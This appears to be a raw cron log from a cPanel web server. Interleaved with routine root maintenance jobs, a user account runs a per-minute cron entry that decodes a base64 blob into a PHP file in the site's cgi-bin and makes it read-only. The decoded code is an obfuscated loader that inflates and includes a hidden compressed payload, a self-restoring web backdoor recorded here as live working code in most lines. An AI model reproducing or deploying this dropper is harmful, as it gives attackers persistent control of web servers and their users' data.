Apr  9 03:24:01 server CROND[13010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:25:01 server CROND[13070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:25:01 server CROND[13071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:25:01 server CROND[13072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:25:29 server run-parts(/etc/cron.daily)[13397]: finished maldet
Apr  9 03:25:29 server run-parts(/etc/cron.daily)[11814]: starting man-db.cron
Apr  9 03:25:29 server run-parts(/etc/cron.daily)[13477]: finished man-db.cron
Apr  9 03:25:29 server anacron[10808]: Job `cron.daily' terminated
Apr  9 03:25:29 server anacron[10808]: Normal exit (1 job run)
Apr  9 03:26:01 server CROND[14896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:27:01 server CROND[14945]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 03:27:01 server CROND[14946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:27:01 server CROND[14947]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr  9 03:28:01 server CROND[14996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:29:01 server CROND[15044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:30:01 server CROND[15212]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 03:30:01 server CROND[15213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:30:01 server CROND[15211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:30:01 server CROND[15214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:31:01 server CROND[15337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:32:01 server CROND[15368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:33:01 server CROND[15413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:34:01 server CROND[15462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:35:01 server CROND[15622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:35:01 server CROND[15623]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 03:35:01 server CROND[15624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:35:01 server CROND[15625]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 03:35:01 server CROND[15630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:36:01 server CROND[15736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
